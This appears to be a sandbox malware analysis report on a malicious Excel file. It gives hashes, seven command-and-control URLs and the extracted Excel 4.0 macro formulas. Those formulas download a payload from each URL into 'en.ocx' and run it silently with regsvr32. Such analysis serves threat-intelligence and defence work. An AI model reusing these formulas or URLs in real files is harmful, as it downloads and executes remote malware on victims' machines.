18d3a40f6749f1b6ef49be2889318e429d98dd9a2aa850e39793433d7f99cde7

General

Target

18d3a40f6749f1b6ef49be2889318e429d98dd9a2aa850e39793433d7f99cde7
Size

45KB
Sample

240909-1p9a2asbkp
MD5

a5b08863b9aef84f2e0d83c86e53ab0b
SHA1

540f2205af613e8eb92ba2ae4ada9049412c85dc
SHA256

18d3a40f6749f1b6ef49be2889318e429d98dd9a2aa850e39793433d7f99cde7
SHA512

b687f398fb439d4bcadf2dd863bad982ee768ee074cde3634b137812ad999b55b0f47f277b5f00479b49b016d272b5fe95a9c801ddbacf54cdabad6de3462ae1
SSDEEP

768:XCYaOvBWvy1qjVEPxngl76WJAnJwqWijuTop2j2kBM9ahXtBZFoP8ZUxB:SYaO5m/hEZg43n9hx2SkBaa/qP8+xB

Score

10^/10

discovery xlm

Rule

Excel 4.0 XLM Macro

C2

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

http://boardingschoolsoftware.com/backup/CtMR5Yi/

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

https://descontador.com.br/css/q5nrG6ua/

http://letea.eu/wp-content/3GgF4miFZTq9/

http://quoctoan.c1.biz/wp-admin/j8Zu/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()